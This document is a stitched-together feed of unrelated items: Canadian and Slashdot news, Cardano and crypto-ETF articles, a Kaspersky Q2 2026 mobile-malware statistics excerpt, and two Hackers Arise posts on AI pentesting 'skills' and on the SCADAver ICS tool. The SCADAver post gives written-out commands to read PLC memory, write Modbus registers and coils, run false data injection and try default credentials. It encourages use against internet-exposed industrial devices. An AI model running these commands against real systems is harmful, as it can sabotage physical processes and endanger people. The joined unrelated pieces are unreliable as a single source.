Three nationalist first ministers will meet in Cardiff to discuss self-determination, economic policy, energy and relations with Europe.

Ukrainian President Volodymyr Zelensky visited a group of Ukrainian military pilots training in Canada on September 12, 2026, ahead of their eventual transition to Western fighter jets including the F-16 and Sweden’s Gripen. Four L-39 training jets flown by Ukrainian cadets performed a flyover to greet him at the airfield. The visit took place at […]

Canada’s banking regulator has clarified that tokenized deposits are not legally different from traditional deposits, giving federally regulated financial institutions a clearer path to develop deposit products using blockchain and other digital technology. The Office of the Superintendent of Financial…

Welcome back, aspiring cyberwarriors!

Sometimes you might run the same model twice and get different results. That often happens when you’ve upgraded it with skills. Skills are detailed text documents that lay out the tools the model should use, the approach it should take and how it should analyze the results. Good skills are practical, pulled from actual reports on HackerOne and other bug bounty platforms. A model can still lean on its own knowledge, but that’s just less efficient.

There are plenty of skills out there you might come across, but not everything can be trusted. Some skills can simply be dangerous and infect your system. To make sure they are safe, you can check them with SkillSpector by NVIDIA, so you don’t end up with anything malicious on your system.

Bug Bounty Skills

Both of these repositories do bug bounty hunting end to end, but they go about it in almost opposite ways.

The first is called Bountyforge. It’s actually just one single skill file, but it’s smart enough to split itself into eight different mini agents that all work at the same time. One looks at websites and apps, another at crypto and blockchain, others go after different angles hackers can exploit. It also checks each finding with four different tests to make sure it’s not a false alarm. Then you get a report in whatever format the bug bounty program wants.

You don’t even need Claude Code or any other coding tool for this, you can just run it right inside the regular Claude website in your browser.

The second bug bounty repository is Claude-BugHunter. It takes the opposite approach. The repo has 83 skills and almost half of those were built by studying 681 real bug reports that people actually got paid for on HackerOne. These skills aren’t locked to Claude Code either, you can use OpenCode, Codex or Hermes Agents with them.

Here are a few examples of the results we got with these skills.

API endpoints are often vulnerable and this is worth trying your luck on to see how it goes.

Another approach can be APK reverse engineering. Here we found a hardcoded RSA-2048 signing private key baked into the published APK. With that key, hackers can push a new app to the app store and infect every employee phone, getting access not just to the WiFi network at the workplace but to their personal life too. Quite dangerous.

We found an API endpoint vulnerable to an SQL injection and managed to pull the entire database.

Having skills built on real attacks keeps the model from wandering off into its own weird approaches and missing a lot of good findings. 

Active Directory Skills

Claude-AD was made by ADScanPro for testing a company’s internal network. It gives your model a playbook with skills and agents built for an Active Directory assessment. The developers are upfront that it’s not an auto pwn tool. It’s meant to guide you through the assessment. Every finding can get mapped to a compliance control (DORA, NIS2 and ENS).

Claude-AD is very careful about getting caught too. It explains what a security team would actually see on their end if that technique got used. And any time it’s about to do something that would actually change things on the company’s network, it stops and asks for confirmation first.

General Cybersecurity Skills

Antropic-Cybersecurity-Skills is basically a giant reference book. It has 817 skills covering 29 areas of security work, cloud security, malware analysis, all the way down to hardware and firmware. Each skill is its own small file, so your agent will quickly pull out the two or three it actually needs for its task.

Every skill ties back to real security frameworks that companies and auditors already use (NIST CSF, MITRE ATT&CK and so on). So if your model finds a problem using one of these skills, it can also tell you exactly which official standard it violates. You can use it to justify findings to a compliance team.

SCADA Skills

On an industrial network, a clumsy scan can shut down a production line or damage physical equipment, since a lot of this gear is old and wasn’t built to handle unexpected traffic. That’s why the ICS skill by Masriyan is built to never actively touch a live industrial network. Instead, it works off network captures someone already took. It reads the file, recognizes industrial protocols by the ports they normally run on (Modbus, DNP3, Siemens S7, EtherNet/IP, OPC-UA, and more) and counts which devices are talking to each other. It then shows you write commands, these are the ones that change a value on an industrial device. That’s the traffic you want to see first.

The second mode skips network captures and instead searches for exposed industrial equipment using Shodan and Censys. The skill can also help your model reason about how an industrial network is laid out and check findings against MITRE’s ICS specific attack framework and the IEC 62443 security standard.

Science Skills

Although science isn’t really what we want to focus on here, in one of our SCADA articles we mentioned that to carry out a successful attack requires hackers to understand the technical process of the plant. That means understanding how the chemicals are produced and which units are used along the way. We also showed how vinyl acetate is produced and talked about paracetamol production.

1 kg of paracetamol at 100% purity was reported to cost €8,205, while 1 kg at 99% purity cost just €5. So even a single day of sabotage could cause serious financial damage to an enterprise.

Finding a scientist among hackers is quite a challenge, which is why Stuxnet needed a group of people from different backgrounds working toward one objective. But now hackers can just import different skills to make their attacks more devastating. K-Dense published 140 skills with access to different scientific databases and Python tools.

The real concern here isn’t ICS exploits inside the repository, there aren’t any. It’s the access to sensitive scientific data paired with an AI agent that can actually understand that data and change it.

Summary

AI skills can be a gamechanger, especially when they’re based on actual reports hackers got paid for. These skills show your model how to approach things and what tools to use during the test, so it doesn’t wander off hallucinating and inventing its own ways of testing things. That can wreck your bug bounty flow, since you’ll end up overlooking plenty of potential targets.

Simply relying on the AI to find things isn’t enough, hunters that do it keep getting a lot of dupes. You need to test things manually too. For this reason we created our Bug Bounty training to show you how to find bugs and work with the AI more efficiently.

The post Artificial Intelligence (AI) in Cybersecurity, Part 25: Upgrading Your Model with Specific Skillset first appeared on Hackers Arise.

Cardano’s enterprise story has gained another example, with a major retail group deploying blockchain verification infrastructure built around the network’s ecosystem.

For Cardano, that matters because enterprise adoption has always been part of the pitch. The project has often positioned itself as slower, more formal, and more research-led than some rival chains. That can frustrate traders who want fast hype cycles, but it also means real-world verification use cases are especially important when they arrive.

This is not an ADA price story. It is not about a sudden fee surge or a network-wide explosion in activity.

It is about a specific enterprise supply-chain application using Cardano infrastructure for verification.

For more details, visit the official Cardanofoundation platform.

TL;DR

• A retail supply-chain verification deployment is using Cardano infrastructure.
• The use case adds to Cardano’s enterprise adoption narrative.
• It should not be stretched into a claim about broad ADA market demand.

Why Supply Chain Verification Fits Cardano

Supply chains are messy.

Products move through factories, warehouses, shipping channels, distributors, shops, and customers. Along the way, companies need to prove authenticity, origin, handling, and sometimes sustainability claims. That is difficult when data sits across different systems and companies.

Blockchain verification can help when it creates a shared record that different parties can check.

That is why supply-chain use cases have been discussed in crypto for years. They are not always easy to implement, but when they work, they can offer something more concrete than speculation.

For Cardano, a verification deployment fits the network’s long-running identity: real-world systems, formal infrastructure, and enterprise use.

Enterprise Adoption Is Slower Than Crypto Hype

This is one of the big tensions in Cardano coverage.

Crypto markets love instant catalysts. Enterprise adoption rarely works like that. Companies do not usually move critical verification systems overnight. They run pilots, test vendors, check legal requirements, train teams, and integrate with existing systems.

That can make enterprise stories feel less exciting at first.

But they can also be more durable if they stick.

A retail verification system is not designed for a one-week trading narrative. It is designed to solve a business problem. That makes it worth covering differently.

What The Use Case Actually Shows

The key is to stay specific.

This deployment shows that Cardano infrastructure can be used in an enterprise verification setting. It does not prove that every retailer will adopt Cardano. It does not mean ADA demand automatically rises. It does not mean the network has suddenly become the default chain for supply chains.

It is one example.

But examples matter, especially in enterprise adoption. Each one gives the ecosystem another proof point and another case to show future partners.

Why Verification Matters For Retail

Retail brands care about trust.

Counterfeiting, unclear sourcing, supplier risk, and weak product verification can all damage a brand. If customers or partners cannot verify claims, the brand carries more risk.

Blockchain-based verification can help by making certain records easier to check and harder to quietly change.

That does not mean blockchain solves every supply-chain problem. Bad data can still be entered. Physical goods still need real-world checks. But once reliable data is added, the ledger can make later verification cleaner.

Cardano’s Broader Challenge

Cardano still needs more visible usage across DeFi, payments, applications, and enterprise systems.

That is the challenge for the ecosystem. It has a committed community and a serious technical identity, but market attention often shifts toward chains with louder consumer activity.

Enterprise verification gives Cardano a different lane.

It may not produce the fastest headlines, but it supports the argument that the network can be useful beyond trading.

For Cardano, that may be exactly the point.

This article draws on Cardano Foundation materials relating to enterprise verification.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released by Cardanofoundation. at Cardanofoundation

Welcome back, cyberwarriors!

Lately we’ve been seeing more reports on attacks against industrial facilities. It’s often the case that the hardware behind these facilities has been vulnerable and overlooked for years. Administrators may know how to set these systems up and keep them running, but they don’t know how to secure them. So many SCADA/ICS/OT systems are reachable from the internet, and basically anyone can interact with them.

There are plenty of tools out there built to test specific functions of SCADA systems, but SCADAver seems to pack a lot more features into just one tool. That’s why we’ll cover it today.

SCADAver

SCADAver is a new tool written in Rust. It came out recently. The tool can discover, fingerprint, enumerate and test systems across common industrial protocols. In one binary you get a CLI interface, a terminal UI and a browser UI.

This project is still experimental. It’s built from public protocol documentation, vulnerability advisories and security research. It works pretty well for assessing device security internally, but you can also use it against devices reachable from the internet, since plenty of them are insecure. And it’s not just active interaction either, SCADAver supports PCAP file analysis too. The tool can also set up a rogue device you can test safely.

Setting Up

We’ll go with the quickest route and just download the compiled version. The developer has it available for Windows, macOS and Linux.

ubuntu > curl https://github.com/Whispergate/SCADAVER/releases/download/v1.5.1/scadaver-linux-x86_64

ubuntu > mv scadaver-linux-x86_64 scadaver
ubuntu > mv scadaver /usr/bin

Working with SCADAver

We’ll mainly be using the CLI version throughout the demonstration, though the terminal UI and browser UI will get shown too. The CLI version will probably be the most convenient for a lot of you.

First let’s list the help menu and see what the tool has:

ubuntu > scadaver -h 

As you can see, we’ve got commands here. Each command has its own help menu where you’ll find more information on exploits and other flags. You’ll see it later.

Siemens S7 – Basics 

Let’s do a basic scan of a Siemens system and see what the tool comes back with.

# a basic scan 
ubuntu > scadaver -i IP scan

# a stealthy scan
ubuntu > scadaver -z -i IP scan

It found port 102 open, and it was Siemens indeed.

We can also do a protocol specific scan or point it at a custom port if necessary:

ubuntu > scadaver -z -i IP --protocol siemens scan

# or with a custom port 
ubuntu > scadaver -z -p 105 -i IP --protocol siemens scan 

Port scanning is also possible. That’ll come in handy when you’re working internally and sweeping networks to find SCADA systems.

ubuntu > scadaver run portscan -i IP

Having covered the basics, we can move on to more interesting stuff and pull some information off this system.

Siemens S7 – Extracting Values

SCADAver can fetch every switch that’s currently on or off on the system. Having a map with human readable labels really helps here, that way you’ll know what each switch is actually responsible for (pump running, valve closed and so on).

ubuntu > scadaver -i IP get io

Say you know a pump is running, now you can find out exactly how it’s supposed to run. We do that with get db, which extracts memory chunks from the device.

ubuntu > scadaver -i IP get db 1 0 64

Here we ask it to open Data Block 1, start at byte 0, and read 64 bytes. Just like with get io, we need a symbol table or the program itself to understand what these values mean. With a symbol table, we’d know that if DB1 holds 1500, the program wants 1500 rpm, for example.

Modbus – Changing Values

We’re not limited to reading only, we can set our own values for registers and coils too. Here are some examples:

ubuntu > scadaver -i IP -p 502 set register 1 1234
ubuntu > scadaver -i IP -p 502 set registers 0 100,200,300,400
ubuntu > scadaver -i IP -p 502 set coil 5 on
ubuntu > scadaver -i IP -p 502 get register 1
ubuntu > scadaver -i IP -p 502 get coil 5 1

Between 2007 and 2010 Stuxnet leaned heavily on a highly sophisticated False Data Injection (FDI) attack to conceal its sabotage. The malware recorded 21 seconds of normal operational sensor readings from the centrifuges and looped that healthy operational data back to the Human Machine Interface (HMI) and the main controller.

We can pull this off too:

ubuntu > scadaver -i IP run fdi --address 100 --value 500 --count 20

With this command we keep writing the same number into one Modbus register, over and over. Many HMIs and programs read that register and trust it blindly. So the screen or the logic keeps seeing 500 even if the real process is doing something else entirely. 500 here could mean 500 rpm, 500 liters, or 50.0°C. Only the map tells you what it’s actually responsible for.

As you know, there can be several PLCs in one cabinet, and you need a way to know which one you’re working with. Schneider’s identify yourself packet (UDP 27127) makes many M340, M580, Quantum and Premium units blink an LED on the panel. It’s a harmless identity check.

ubuntu > scadaver -i IP run flash-led

These SCADA systems often have an HTTP web interface that you can access and interact with. Sometimes, it’s authentication gated and prompts you to enter valid credentials. Here’s another run command that’ll test default credentials against HTTP Basic Auth.

ubuntu > scadaver -i IP run default-creds

More exploits and actions that run has can be seen in the help menu:

ubuntu > scadaver run -h 

Another interesting thing you might find is the database knowledge behind researching and exploiting SCADA systems. We listed all of them for Siemens:

ubuntu > scadaver db refs siemens

Browser UI & Terminal UI

In case you don’t like working with the CLI, you can try the other options.

For the Terminal UI run this:

ubuntu > scadaver

And the Browser UI can be set up with this command: 

ubuntu > scadaver web

It will be hosted on http://127.0.0.1:8888

Summary

The developer calls it a unified ICS red team multi tool, and it truly is. It’s handy to have all these exploits and recon features packed into one tool that supports so many protocols and products. Obviously it’s still in active development, since it just came out. But even so, you can already put it to use instead of switching between different tools.

We haven’t covered all its features and functions, that would make this far too long. Feel free to experiment with it yourself, since it can even set up a rogue server for you to test against.

If you want to learn how to hack and secure SCADA systems, we invite you to our training led by OccupyTheWeb. It’s available for both beginners and advanced students.

The post SCADA/ICS/OT Hacking and Security: Hacking with SCADAver first appeared on Hackers Arise.

Canada is recruiting 64 researchers to universities across the country (source paywalled; alternative source), including 48 from U.S. institutions such as Harvard, Yale, and MIT. The hires are backed by more than $364 million in government funding and are part of a broader effort to attract researchers in fields such as AI, climate science, and medicine. The New York Times reports: While scientists often shy away from political discourse, some are saying the Trump administration's assault on science is behind their departure. "I used to live in the country that I thought was the most enthusiastic about the prospects for science improving the human condition, of any country in the world," said Phillip Zamore, the chair of RNA Therapeutics Institute at the University of Massachusetts. "And I woke up one day and that wasn't true anymore." He has been recruited to McGill University in Montreal, which has also hired five other researchers, and will join the medical faculty. "If scientists don't stand up for truth, no one will," Dr. Zamore said. The Canada-bound brain drain from U.S. institutions began last year as the Trump administration put forward policies that targeted foreign students, academic freedom and funding for equity-related programs. Kevin Hall, a nutrition scientist who left the U.S. National Institutes of Health last year, accusing federal officials of censoring his research on ultraprocessed foods, has been hired at the University of Ottawa. "While certain countries are cutting research and turning their back on academic freedom, we're doubling down on science," Melanie Joly, Canada's industry minister, told reporters at the announcement, in Vancouver, of the new university hiring. She billed it as the world's "largest talent attraction" project. The European Union has made a similar push. "Years from now, we will look back at today's announcement, and we will be able to seize the lasting impact of our choices," Ms. Joly said. Unpredictable decisions about funding prompted Seth Guikema, a professor in civil and environmental engineering, who has specialized in natural hazards modeling at the University of Michigan, to look elsewhere. His work focuses on how climate hazards inequitably affect communities, and that work has become harder to fund, he said. "Every country sets its priorities in terms of what is going to get funded, and I think Canada has done a very good job of supporting research in areas that really matter to society," said Dr. Guikema, who will start at Western University in London, Ontario in January.

Read more of this story at Slashdot.

Canada's cultural-content rules have become a flashpoint in its trade fight with the U.S., after American negotiators reportedly demanded that Ottawa drop requirements for streaming services to promote Canadian and French-language content. Canada refused, even as it has already backed away from some financial levies on streamers. "We were not prepared to compromise on our sovereignty, the protection of the French language, and our culture," Prime Minister Mark Carney said in a speech on Saturday after trade talks collapsed. CBC.ca reports: Ottawa has long required broadcasters to promote and support Canadian content (Cancon), all the way back to song quotas for AM radio stations. In 1991, the government brought in the Broadcasting Act. The law states that "the Canadian broadcasting system shall be effectively owned and controlled by Canadians" and that the Canadian broadcasting system should "serve to safeguard, enrich and strengthen the cultural, political, social and economic fabric of Canada." But decades later, the rising popularity in Canada of streaming platforms such as Netflix, YouTube, Amazon Prime and Spotify raised questions about Cancon and broadcasting rules. Video and audio streaming services were not, for example, required to support and promote Cancon, but their TV and radio counterparts were. Looking to address the imbalance, the former Trudeau government brought forward a bill in 2022 to update the Broadcasting Act, called the Online Streaming Act. "Canadian broadcasters have invested in and introduced us to the incredible Canadian programs that so many of us love. We are updating our laws so online streamers have to contribute in a similar and equitable way," a 2022 government news release said. The legislation was controversial from the start, with the government and supporters saying it was a necessary evolution of Canada's media laws in the digital age, while opponents expressed concerns that it was overreach and an attempt to regulate the internet. American streamers and digital media companies opposed the legislation fiercely. The bill passed with amendments and became law in April 2023, but the government delegated much of its interpretation -- including how much money streamers would have to contribute to Cancon -- to Canada's broadcast regulator, the Canadian Radio-television and Telecommunications Commission (CRTC). But getting streaming companies to pay up has been a long and confusing saga. [...]. As for why the U.S. government is so invested in the issue? Mariane Bourcheix-Laporte, a postdoctoral fellow in the communication studies and media arts department at McMaster University in Hamilton, said it could be about power. "The Americans have had, since after World War II, a very strong cultural policy of pushing out American content into the world," Bourcheix-Laporte, who has worked with the CRTC, said. "This has been a strategy -- a soft-power strategy -- for the American government, in parallel to their military strategies and political alliances strategies."

Read more of this story at Slashdot.

Cardano has opened formal review on CIP-0197, a proposal designed to add optional post-quantum wallet protections through a zero-knowledge signature proof layer.

The proposal, authored by researcher Robert Phair, focuses on protecting hierarchical deterministic wallets against future quantum-computing risks. The design aims to let users strengthen existing wallet addresses without immediately migrating keys.

This is early-stage work.

CIP-0197 is not live on Cardano mainnet. It is not mandatory. It should not be presented as an emergency response to an immediate quantum attack.

But it is an important signal that Cardano’s community is thinking seriously about long-term cryptographic resilience.

TL;DR

• Cardano CIP-0197 has entered formal review.
• The proposal adds optional post-quantum wallet protections using zero-knowledge proofs.
• It is not live or mandatory on mainnet.

Why Quantum Protection Matters

Quantum computing is not an everyday user risk yet.

Most crypto users are not waking up tomorrow to find their wallets broken by quantum machines. But blockchain networks have to think years ahead because cryptographic migration takes time.

If quantum computers eventually become powerful enough to threaten current signature schemes, networks will need upgrade paths.

Wallets are one of the most sensitive areas.

Users may hold assets for years, and some addresses may become vulnerable depending on how keys are exposed. Designing optional protection early gives the ecosystem time to test, debate, and refine the approach.

What CIP-0197 Tries To Do

The proposal uses a zero-knowledge proof layer to strengthen wallet protection.

The basic idea is to allow users to prove or protect certain wallet properties without forcing a full key migration immediately. That could reduce friction if the ecosystem later needs to move toward post-quantum security.

This matters because mass wallet migration is hard.

Users forget keys. Wallet software varies. Exchanges and custodians need operational timelines. Dapps need compatibility. A poorly planned migration can create confusion and risk.

An optional layer gives Cardano a more gradual route to resilience.

Formal Review Is Not Activation

The review status needs clear framing.

Cardano Improvement Proposals can spend time in discussion, revision, technical evaluation, and community feedback before they become active network changes. Some proposals change significantly. Some do not advance.

So the correct read is that Cardano is evaluating a post-quantum wallet protection design.

The network has not yet adopted it as a live requirement.

That distinction protects readers from thinking they need to take immediate action.

Cardano’s Research Culture Shows Again

Cardano has always leaned heavily into formal methods and long-term protocol design.

That approach can feel slow compared with faster-moving chains, but it also means topics like quantum security fit naturally into the ecosystem’s roadmap.

CIP-0197 is a good example.

It is not flashy. It is not about price. It is not about a new meme coin or DeFi yield. It is about future-proofing wallet security at the cryptographic layer.

That is very Cardano.

What Comes Next

The next step is community and technical review.

Developers will need to evaluate whether the proposal is practical, efficient, secure, and compatible with existing wallet infrastructure. Wallet providers will also matter, because user adoption depends heavily on implementation.

If CIP-0197 advances, it could become part of a broader post-quantum roadmap for Cardano.

If it stalls, the debate will still be useful because it forces the ecosystem to think through migration before the pressure becomes urgent.

For now, Cardano has opened the door to quantum-resilient wallet protection. It is early, but early is exactly when this kind of work should begin.

This article is based on Cardano CIP materials and public discussion around CIP-0197.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released in disclosures at primary source documentation.

Cardano’s development roadmap for its Dijkstra-era scaling work has been structured around a two-phase rollout, with Ouroboros Leios and related throughput improvements central to the plan.

The first phase, involving Linear Leios and nested transactions, targets code completion in the fourth quarter of 2026. A second phase, involving Ouroboros Peras, is planned for the second quarter of 2027.

This is a roadmap story, not an adoption victory lap.

Cardano has long talked about scaling toward much larger user numbers, but those goals remain future ambitions. The important news here is the technical path being mapped, not proof that one billion users have arrived.

TL;DR

• Cardano’s Dijkstra-era roadmap includes a two-phase scaling plan.
• Phase 1 targets Linear Leios and nested transactions in Q4 2026.
• Phase 2, involving Ouroboros Peras, is planned for Q2 2027.

Why The Dijkstra Era Matters

Cardano’s development style is different from many other chains.

The network often moves through research-heavy phases with formal naming, peer-reviewed design, and staged implementation. That can make progress feel slower, but it also reflects Cardano’s emphasis on correctness and long-term architecture.

The Dijkstra-era roadmap fits that pattern.

Instead of only chasing short-term throughput headlines, Cardano is laying out a longer scaling path involving protocol-level changes.

For developers and users, the question is whether that path can produce practical improvements in speed, capacity, and application performance.

Leios Is The Main Scaling Piece

Ouroboros Leios is designed to improve Cardano’s throughput by changing how transaction and block processing can scale.

The goal is to let the network handle more activity without abandoning the assumptions that underpin its consensus design. If successful, Leios could support more demanding applications and a larger user base.

But it is not live yet.

The roadmap gives development targets, not completed deployment. Code completion, testing, review, and implementation all matter before users feel any effect.

That is why the timeline needs to be treated carefully.

Nested Transactions Could Improve Flexibility

Nested transactions are another part of the first phase.

They could give developers more flexibility in how transactions are structured and processed. That can matter for complex applications, especially in DeFi, identity, payments, and multi-step workflows.

Cardano has sometimes been criticized for developer friction compared with faster-moving ecosystems.

Roadmap items like nested transactions are part of the effort to reduce that friction and make the chain more useful at scale.

Peras Adds Another Layer

The second phase, involving Ouroboros Peras, is planned later.

Peras is tied to improving settlement and finality dynamics, which can affect user experience and application design. Faster or more reliable finality can make a network feel smoother, especially for financial applications.

Again, the details matter.

A planned Q2 2027 phase gives the market a timeline to track, but not a guarantee. Cardano’s community will watch whether milestones are met and whether the improvements translate into real usage.

The Measured Read

Cardano’s roadmap shows continued work on scaling, but it does not settle the adoption question.

A network can have a strong technical plan and still need developers, liquidity, applications, and users. The Dijkstra-era roadmap is one piece of that larger puzzle.

For ADA holders, the significance is that Cardano is still investing in base-layer throughput and long-term architecture.

For builders, the important question is whether the upgrades make applications easier and more powerful to build.

The ambition remains large. Now the chain has to execute phase by phase.

This article is based on Cardano roadmap materials and public technical discussions around the Dijkstra era, Ouroboros Leios, and Ouroboros Peras.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released in disclosures at primary source documentation.

National Bank of Canada has disclosed holdings in US-listed crypto investment products, including shares tied to an XRP ETF and several Bitcoin ETF positions.

The disclosure came through a Form 13F filing covering holdings as of June 30, 2026. The bank reported 3,848 shares of Bitwise’s XRP ETF, valued at roughly $330,000, along with approximately $6.4 million in ProShares and Fidelity Bitcoin ETF exposure.

The distinction here is important.

This is ETF exposure, not direct custody of XRP or BTC. The bank is not being reported as holding physical tokens on-chain. It is reporting positions in listed investment products.

Still, the filing is notable because it shows regulated financial institutions continuing to use crypto wrappers for portfolio exposure.

For more details, visit the official Sec platform.

TL;DR

• National Bank of Canada disclosed XRP and Bitcoin ETF holdings in a Form 13F.
• The positions include Bitwise XRP ETF shares and Bitcoin ETF exposure.
• The filing reflects ETF holdings, not direct XRP or BTC custody.

Why The Filing Matters

13F filings are useful because they show what large investment managers held at the end of a reporting period.

They are backward-looking and incomplete in some ways, but they still give the market a window into institutional positioning. When a major bank reports crypto ETF holdings, it adds another data point to the institutional adoption story.

The XRP exposure is especially interesting because Bitcoin ETF positions are now more common.

XRP-linked ETF exposure suggests institutions are at least testing broader crypto products beyond BTC, even if the dollar amount remains relatively small.

A $330,000 XRP ETF position is not enormous for a major bank. But it is visible, regulated exposure.

ETF Exposure Is Not The Same As Token Ownership

This cannot be overstated.

Holding shares of an ETF or trust is different from holding XRP or Bitcoin directly. The bank owns a security that tracks or references crypto exposure. It does not necessarily hold private keys, run wallets, or custody tokens.

That matters for interpretation.

Direct crypto custody would say something different about operational readiness and risk tolerance. ETF exposure says the institution is comfortable with listed crypto products inside a securities framework.

That is still meaningful, but it is a different kind of adoption.

Bitcoin Products Remain The Larger Position

The reported Bitcoin ETF exposure of around $6.4 million is much larger than the XRP ETF position.

That reflects the broader institutional hierarchy in crypto. Bitcoin remains the most accepted asset for traditional investors. It has the deepest ETF market, strongest macro narrative, and clearest institutional positioning.

XRP exposure is smaller and likely more exploratory.

That does not make it irrelevant. It simply shows that broader altcoin ETF adoption is still at an earlier stage.

What This Means For XRP

For XRP supporters, the filing gives a concrete institutional data point.

It shows that at least some regulated portfolios are willing to hold XRP-linked products. That may support the argument that XRP is moving further into traditional-market infrastructure.

But the size and structure matter.

This is not a major direct allocation to XRP. It is a relatively small ETF position inside a broader securities filing.

The clean read is that XRP-linked products are appearing in institutional portfolios, but still at modest scale.

The Bigger Institutional Trend

The broader story is the continued normalization of crypto exposure through wrappers.

Banks and asset managers do not need to custody tokens directly to participate in the market. They can use ETFs, trusts, futures, structured products, and other regulated instruments.

That makes crypto easier to fit into existing compliance systems.

National Bank of Canada’s filing is another example of that path.

Institutions may not all become on-chain users immediately. Many will start with products that look and settle like securities.

For Bitcoin, that trend is already established. For XRP and other assets, it is still developing.

This article is based on National Bank of Canada’s August 2026 Form 13F filing.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released by Sec. at Sec

IT threat evolution in Q2 2026. Mobile statistics
IT threat evolution in Q2 2026. Non-mobile statistics

The mobile section of the quarterly cyberthreat report includes statistics on malware, adware, and potentially unwanted software for Android, as well as descriptions of the most notable threats for Android and iOS discovered during the reporting period. These statistics are based on detection alerts from Kaspersky products, collected from users who consented to provide statistical data to Kaspersky Security Network.

The quarter in figures

According to Kaspersky Security Network, in Q2 2026:

• More than 1.99 million attacks on mobile devices utilizing malware, adware, or unwanted mobile software were blocked.

• The Trojan-Banker category was the most prevalent mobile malware threat with a 30.77% share of total detected applications.
• More than 304,000 malicious installation packages were discovered, including:
  • 93,574 packages were related to mobile banking Trojans;
  • 570 packages were related to mobile ransomware Trojans.

Quarterly highlights

Attacks on mobile devices involving malware, adware, or unwanted software continued their downward trend, falling to 1,996,823 in Q2 from 2,676,328 the previous quarter.

Attacks on users of Kaspersky mobile solutions, Q4 2024 — Q2 2026 (download)

We noted a downward trend in attacks driven by specific strains of pre-installed Trojans — a shift likely tied to the rollout of patched vendor firmware.

In Q2, our telemetry uncovered multiple malicious loaders hosted directly on Google Play. As highlighted in a prior report (link in Russian), one such instance involved a PDF reader app trojanized to drop the Anatsa banking malware. Upon execution, the app presented users with a fake request to install an update, which served as a front to stage the banking Trojan on the victim’s device.

Another notable case involves a loader we detected in the Cleanova app alongside several others. The malware sent requests to a command-and-control server containing telemetry gathered from various SDKs that track the installation source. A malicious payload was returned only for certain sources. This is a fairly interesting method for bypassing app store review processes while ensuring precise victim targeting. If an analytics SDK indicates that an arbitrary installation originated from a source outside the threat actors’ scope, the malicious logic remains dormant. This effectively hides the malware from app store scanners.

Mobile threat statistics

In Q2, the number of Android malware samples totaled 304,128. It remained steady compared to the previous reporting period.

Detected malicious and potentially unwanted installation packages, Q2 2025 — Q2 2026 (download)

The detected installation packages were distributed by type as follows:

Detected mobile apps by type, Q1 — Q2 2026* (download)

* Data for the previous quarter may differ slightly from previously published data due to certain verdicts being retrospectively revised.

While the number of newly discovered banking Trojan variants fell precipitously, they continued to dominate the threat landscape as they did in Q1. Notably, the share of Creduz malware family among identified banking samples has grown significantly despite low activity in victim telemetry. This discrepancy suggests the threat actors are actively iterating on the malware — likely testing new features or bypasses — by generating a high volume of builds before staging a broader campaign.

Share* of users attacked by the given type of malicious or potentially unwanted apps out of all targeted users of Kaspersky mobile products, Q1 — Q2 2026 (download)

* The total may exceed 100% if the same users experienced multiple attack types.

Within the adware category, the sharpest declines were observed in the HiddenAd and MobiDash families. Meanwhile, the proportion of users targeted by Trojan-Dropper malware increased, primarily driven by surges in banking droppers such as Trojan-Dropper.AndroidOS.Banker and Trojan-Dropper.AndroidOS.Mamont. The corresponding drop in the Trojan-Banker category is partially explained by a shift in tactics: several banking Trojans which are now being packed were subsequently reclassified as droppers.

TOP 20 most frequently detected types of mobile malware

Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.

Verdict	%* Q1 2026	%* Q2 2026	Difference in p.p.	Change in ranking
Backdoor.AndroidOS.Triada.ag	7.09	9.35	+2.25	0
DangerousObject.Multi.Generic.	5.84	5.65	-0.19	0
DangerousObject.AndroidOS.GenericML.	5.51	5.25	-0.26	0
Trojan.AndroidOS.Boogr.gsh	2.15	3.33	+1.18	+9
Backdoor.AndroidOS.Triada.z	3.08	3.23	+0.15	+3
Trojan-Banker.AndroidOS.Mamont.hl	1.10	2.48	+1.38	+22
Trojan.AndroidOS.Fakemoney.v	3.44	2.31	-1.13	-2
Trojan-Spy.AndroidOS.Btmob.e	0.00	2.27	+2.27
Trojan.AndroidOS.Triada.fe	2.98	2.18	-0.81	0
Trojan-Dropper.AndroidOS.Banker.dd	0.01	2.16	+2.15
Trojan.AndroidOS.Triada.hf	2.23	1.93	-0.29	+1
Backdoor.AndroidOS.Triada.ad	1.40	1.93	+0.53	+8
Backdoor.AndroidOS.Keenadu.a	2.73	1.88	-0.85	-3
Backdoor.AndroidOS.Triada.ab	1.72	1.79	+0.07	+2
Trojan-Banker.AndroidOS.Mamont.iv	1.03	1.63	+0.60	+16
Trojan.AndroidOS.Generic.	1.32	1.47	+0.15	+7
Backdoor.AndroidOS.Triada.ae	1.76	1.44	-0.31	-2
Trojan.AndroidOS.Fakemoney.ej	0.00	1.43	+1.43
Trojan.AndroidOS.Triada.ii	2.07	1.41	-0.66	-5
Trojan-Spy.AndroidOS.Agent.asa	0.02	1.38	+1.36

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The distribution of top malware families in Q2 largely mirrors the rankings from the previous reporting period. Newer variants of the Mamont banking Trojan climbed the leaderboards, displacing older iterations. This shift points to ongoing, active development of new variants by the threat actors behind the malware.

Mobile banking Trojans

In Q2, the total volume of Trojan-Banker applications dropped sharply compared to the previous quarter, totaling 93,574 installation packages.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q2 2025 — Q2 2026 (download)

Against the backdrop of this trend, the distribution shifted heavily toward Creduz Trojans. However, as noted earlier, this shift was not reflected in real-world attack metrics: virtually the entire leaderboard by proportion of targeted users continues to be dominated by diverse Mamont variants.

TOP 10 mobile bankers

Verdict	%* Q1 2026	%* Q2 2026	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.hl	3.27	11.13	+7.86	+6
Trojan-Banker.AndroidOS.Mamont.iv	3.08	7.33	+4.25	+6
Trojan-Banker.AndroidOS.Mamont.mv	0.00	5.12	+5.12
Trojan-Banker.AndroidOS.Agent.ws	3.78	4.99	+1.22	+2
Trojan-Banker.AndroidOS.Mamont.mg	0.35	4.71	+4.36	+62
Trojan-Banker.AndroidOS.Faketoken.pac	2.56	4.10	+1.54	+6
Trojan-Banker.AndroidOS.Mamont.jo	15.75	3.73	-12.02	-6
Trojan-Banker.AndroidOS.Mamont.mc	0.83	3.51	+2.67	+26
Trojan-Banker.AndroidOS.Mamont.lf	0.00	2.79	+2.79
Trojan-Banker.AndroidOS.Agent.eq	0.89	2.58	+1.69	+23
